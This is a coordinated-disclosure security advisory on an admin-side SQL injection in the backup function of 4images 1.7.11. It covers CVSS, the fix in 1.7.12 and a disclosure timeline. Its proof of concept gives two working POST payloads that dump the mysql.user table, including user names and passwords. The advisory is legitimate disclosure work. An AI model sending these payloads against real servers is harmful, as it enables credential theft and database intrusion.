4images 1.7.11 SQL Injection

`Security Advisory - Curesec Research Team  
  
1. Introduction  
  
Affected Product: 4images 1.7.11  
Fixed in: 1.7.12  
Fixed Version Link: http://www.4homepages.de/download-4images  
Vendor Website: http://www.4homepages.de/  
Vulnerability Type: SQL Injection  
Remote Exploitable: Yes  
Reported to vendor: 09/29/2015  
Disclosed to public: 12/02/2015  
Release mode: Coordinated release  
CVE: Requested, but not assigned  
Credits Tim Coen of Curesec GmbH  
  
2. Vulnerability Description  
  
CVSS  
  
Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P  
  
Description  
  
When backing up the database, the user can supply the tables that should be  
backed up. The program does not check if these tables actually belong to the  
4images database or to a different database. Because of this, it is possible to  
back up, and thus read, any database the database user has access to.  
  
However, even if there were a check for the database, it would still be  
possible to perform arbitrary SELECT statements by injecting into a SELECT  
query that looks like this: "SELECT * FROM $table" where $table is user  
supplied.  
  
Admin credentials are required to back up the database.  
  
3. Proof of Concept  
  
  
POST /4images/admin/backup.php HTTP/1.1  
__csrf=43c557c252fe6f57db4720b23771c7ab&action=makebackup&db_tables%5B%5D=mysql.user  
  
POST /4images/admin/backup.php HTTP/1.1  
__csrf=43c557c252fe6f57db4720b23771c7ab&action=makebackup&db_tables%5B%5D=4images_comments where comment_id=-1 union all select user,password,3,4,5,6,7,8 from mysql.user  
  
4. Solution  
  
To mitigate this issue please upgrade at least to version 1.7.12:  
  
http://www.4homepages.de/download-4images  
  
Please note that a newer version might already be available.  
  
5. Report Timeline  
  
09/29/2015 Informed Vendor about Issue  
10/21/2015 Reminded Vendor of Disclosure Date  
11/03/2015 Vendor releases fix  
11/17/2015 CVE Requested (no reply)  
12/02/2015 Disclosed to public  
  
  
Blog Reference:  
https://blog.curesec.com/article/blog/4images-1711-SQL-Injection-108.html  
  
--  
blog: https://blog.curesec.com  
tweet: https://twitter.com/curesec  
  
Curesec GmbH  
Curesec Research Team  
Romain-Rolland-Str 14-24  
13089 Berlin, Germany  
  
  
`